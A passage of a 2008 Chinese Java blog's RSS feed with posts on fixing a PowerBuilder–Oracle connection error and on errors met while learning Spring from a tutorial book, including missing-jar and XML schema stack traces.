<img src ="http://www.blogjava.net/soddabao/aggbug/231641.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-09-28 12:06 <a href="http://www.blogjava.net/soddabao/archive/2008/09/28/231641.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>pb连oracle数据库出现异常</title><link>http://www.blogjava.net/soddabao/archive/2008/09/27/231518.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Sat, 27 Sep 2008 07:45:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/09/27/231518.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/231518.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/09/27/231518.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/231518.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/231518.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; pb连oracle数据库时，提示如下错误：<br />
&nbsp;&nbsp;&nbsp; Please connect as the powerbuilder Catalog Owner.This is necessary for the initial connection to Oralce to GRANT privileges on the repository.<br />
<br />
&nbsp;&nbsp; 解决的办法是：在连接配置页面的 table owner 设置成你连接的用户名称。
<img src ="http://www.blogjava.net/soddabao/aggbug/231518.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-09-27 15:45 <a href="http://www.blogjava.net/soddabao/archive/2008/09/27/231518.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>spring学习(二)</title><link>http://www.blogjava.net/soddabao/archive/2008/09/26/231386.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Fri, 26 Sep 2008 14:41:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/09/26/231386.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/231386.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/09/26/231386.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/231386.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/231386.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;今天继续学习spring，按照《Spring 开发指南》go on，结果到22页的时候发现有如下代码<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">InputStream&nbsp;is&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;FileInputStream(</span><span style="color: #000000">"</span><span style="color: #000000">bean.xml</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />XmlBeanFactory&nbsp;factory&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;XmlBeanFactory(is);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />Action&nbsp;action&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;(Action)&nbsp;factory.getBean(</span><span style="color: #000000">"</span><span style="color: #000000">TheAction</span><span style="color: #000000">"</span><span style="color: #000000">);</span></div>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 使用junit4测试发送，发现有错误，但是依旧可以运行得到预期的结果。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 查看API以及去网上baidu了一圈，发现底层的确没有xmlbeanfactory(inputstream )的方法，但是不知道为什么夏老师依旧这样写？<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我根据API中方法，这样实现<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Resource&nbsp;in&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;FileSystemResource(</span><span style="color: #000000">"</span><span style="color: #000000">bean1.xml</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XmlBeanFactory&nbsp;factory&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;XmlBeanFactory((Resource)&nbsp;in);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Action&nbsp;action&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;(Action)&nbsp;factory.getBean(</span><span style="color: #000000">"</span><span style="color: #000000">TheAction</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(action.execte(</span><span style="color: #000000">"</span><span style="color: #000000">xixi&nbsp;hha&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">));</span></div>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不知道，这个算不算是《Spring 开发指南》中的又一BUG <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 等那天有时间 在单位找找牛人问问。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不知道你发现这个问题么？说说你是怎么理解的，大家一起交流一下么？
<img src ="http://www.blogjava.net/soddabao/aggbug/231386.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-09-26 22:41 <a href="http://www.blogjava.net/soddabao/archive/2008/09/26/231386.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>spring学习(一)</title><link>http://www.blogjava.net/soddabao/archive/2008/09/25/231185.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Thu, 25 Sep 2008 12:38:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/09/25/231185.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/231185.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/09/25/231185.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/231185.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/231185.html</trackback:ping><description><![CDATA[<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 今天开始学习《Spring 开发指南》，按照上面的配置，运行spring的第一程序，结果发现就出现错误。主要有下面2个错误，呵呵，建议有人修改一下《Spring 开发指南》，以免后人再犯同样的错误，而且找半天还找不到解决的办法。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其一：错误现象如下：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">java.lang.NoClassDefFoundError:&nbsp;org</span><span style="color: #000000">/</span><span style="color: #000000">apache</span><span style="color: #000000">/</span><span style="color: #000000">commons</span><span style="color: #000000">/</span><span style="color: #000000">logging</span><span style="color: #000000">/</span><span style="color: #000000">LogFactory<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.util.ClassUtils.</span><span style="color: #000000">&lt;</span><span style="color: #000000">clinit</span><span style="color: #000000">&gt;</span><span style="color: #000000">(ClassUtils.java:</span><span style="color: #000000">73</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.core.io.DefaultResourceLoader.</span><span style="color: #000000">&lt;</span><span style="color: #000000">init</span><span style="color: #000000">&gt;</span><span style="color: #000000">(DefaultResourceLoader.java:</span><span style="color: #000000">52</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractApplicationContext.</span><span style="color: #000000">&lt;</span><span style="color: #000000">init</span><span style="color: #000000">&gt;</span><span style="color: #000000">(AbstractApplicationContext.java:</span><span style="color: #000000">198</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractRefreshableApplicationContext.</span><span style="color: #000000">&lt;</span><span style="color: #000000">init</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />(AbstractRefreshableApplicationContext.java:</span><span style="color: #000000">80</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractXmlApplicationContext.</span><span style="color: #000000">&lt;</span><span style="color: #000000">init</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />(AbstractXmlApplicationContext.java:</span><span style="color: #000000">58</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.FileSystemXmlApplicationContext.</span><span style="color: #000000">&lt;</span><span style="color: #000000">init</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />(FileSystemXmlApplicationContext.java:</span><span style="color: #000000">121</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.FileSystemXmlApplicationContext.</span><span style="color: #000000">&lt;</span><span style="color: #000000">init</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />(FileSystemXmlApplicationContext.java:</span><span style="color: #000000">68</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;test.UpperActionTest.test_execte(UpperActionTest.java:</span><span style="color: #000000">15</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke0(Native&nbsp;Method)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:</span><span style="color: #000000">39</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:</span><span style="color: #000000">25</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.lang.reflect.Method.invoke(Method.java:</span><span style="color: #000000">597</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.runTest(TestCase.java:</span><span style="color: #000000">168</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.runBare(TestCase.java:</span><span style="color: #000000">134</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult$</span><span style="color: #000000">1</span><span style="color: #000000">.protect(TestResult.java:</span><span style="color: #000000">110</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult.runProtected(TestResult.java:</span><span style="color: #000000">128</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult.run(TestResult.java:</span><span style="color: #000000">113</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.run(TestCase.java:</span><span style="color: #000000">124</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestSuite.runTest(TestSuite.java:</span><span style="color: #000000">232</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestSuite.run(TestSuite.java:</span><span style="color: #000000">227</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.junit.internal.runners.OldTestClassRunner.run(OldTestClassRunner.java:</span><span style="color: #000000">76</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:</span><span style="color: #000000">45</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:</span><span style="color: #000000">38</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:</span><span style="color: #000000">460</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:</span><span style="color: #000000">673</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:</span><span style="color: #000000">386</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:</span><span style="color: #000000">196</span><span style="color: #000000">)</span></div>
&nbsp;&nbsp; 这个错误，其实不是书上的错误，是因为我们少引入一个jar包：commons-logging.jar。<br />
<br />
&nbsp;&nbsp; 其二，错误现象如下：<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">org.springframework.beans.factory.xml.XmlBeanDefinitionStoreException:&nbsp;Line&nbsp;</span><span style="color: #000000">1</span><span style="color: #000000">&nbsp;in&nbsp;XML&nbsp;document&nbsp;from&nbsp;file&nbsp;[E:\eclipse</span><span style="color: #000000">-</span><span style="color: #000000">SDK</span><span style="color: #000000">-</span><span style="color: #000000">3.4</span><span style="color: #000000">\workspace\spring\bean.xml]&nbsp;is&nbsp;invalid;&nbsp;nested&nbsp;exception&nbsp;is&nbsp;org.xml.sax.SAXParseException:&nbsp;cvc</span><span style="color: #000000">-</span><span style="color: #000000">elt.</span><span style="color: #000000">1</span><span style="color: #000000">:&nbsp;Cannot&nbsp;find&nbsp;the&nbsp;declaration&nbsp;of&nbsp;element&nbsp;</span><span style="color: #000000">'</span><span style="color: #000000">beans</span><span style="color: #000000">'</span><span style="color: #000000">.<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:</span><span style="color: #000000">369</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:</span><span style="color: #000000">313</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:</span><span style="color: #000000">290</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:</span><span style="color: #000000">142</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:</span><span style="color: #000000">158</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:</span><span style="color: #000000">184</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:</span><span style="color: #000000">112</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:</span><span style="color: #000000">79</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractRefreshableApplicationContext.refreshBeanFactory(AbstractRefreshableApplicationContext.java:</span><span style="color: #000000">97</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractApplicationContext.obtainFreshBeanFactory(AbstractApplicationContext.java:</span><span style="color: #000000">411</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:</span><span style="color: #000000">338</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.FileSystemXmlApplicationContext.</span><span style="color: #000000">&lt;</span><span style="color: #000000">init</span><span style="color: #000000">&gt;</span><span style="color: #000000">(FileSystemXmlApplicationContext.java:</span><span style="color: #000000">124</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.FileSystemXmlApplicationContext.</span><span style="color: #000000">&lt;</span><span style="color: #000000">init</span><span style="color: #000000">&gt;</span><span style="color: #000000">(FileSystemXmlApplicationContext.java:</span><span style="color: #000000">68</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;test.UpperActionTest.test_execte(UpperActionTest.java:</span><span style="color: #000000">15</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke0(Native&nbsp;Method)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:</span><span style="color: #000000">39</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:</span><span style="color: #000000">25</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.lang.reflect.Method.invoke(Method.java:</span><span style="color: #000000">597</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.runTest(TestCase.java:</span><span style="color: #000000">168</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.runBare(TestCase.java:</span><span style="color: #000000">134</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult$</span><span style="color: #000000">1</span><span style="color: #000000">.protect(TestResult.java:</span><span style="color: #000000">110</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult.runProtected(TestResult.java:</span><span style="color: #000000">128</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult.run(TestResult.java:</span><span style="color: #000000">113</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.run(TestCase.java:</span><span style="color: #000000">124</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestSuite.runTest(TestSuite.java:</span><span style="color: #000000">232</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestSuite.run(TestSuite.java:</span><span style="color: #000000">227</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.junit.internal.runners.OldTestClassRunner.run(OldTestClassRunner.java:</span><span style="color: #000000">76</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:</span><span style="color: #000000">45</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:</span><span style="color: #000000">38</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:</span><span style="color: #000000">460</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:</span><span style="color: #000000">673</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:</span><span style="color: #000000">386</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:</span><span style="color: #000000">196</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />Caused&nbsp;by:&nbsp;org.xml.sax.SAXParseException:&nbsp;cvc</span><span style="color: #000000">-</span><span style="color: #000000">elt.</span><span style="color: #000000">1</span><span style="color: #000000">:&nbsp;Cannot&nbsp;find&nbsp;the&nbsp;declaration&nbsp;of&nbsp;element&nbsp;</span><span style="color: #000000">'</span><span style="color: #000000">beans</span><span style="color: #000000">'</span><span style="color: #000000">.<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.util.ErrorHandlerWrapper.createSAXParseException(ErrorHandlerWrapper.java:</span><span style="color: #000000">195</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.util.ErrorHandlerWrapper.error(ErrorHandlerWrapper.java:</span><span style="color: #000000">131</span><span style="color: #000000">)<br />
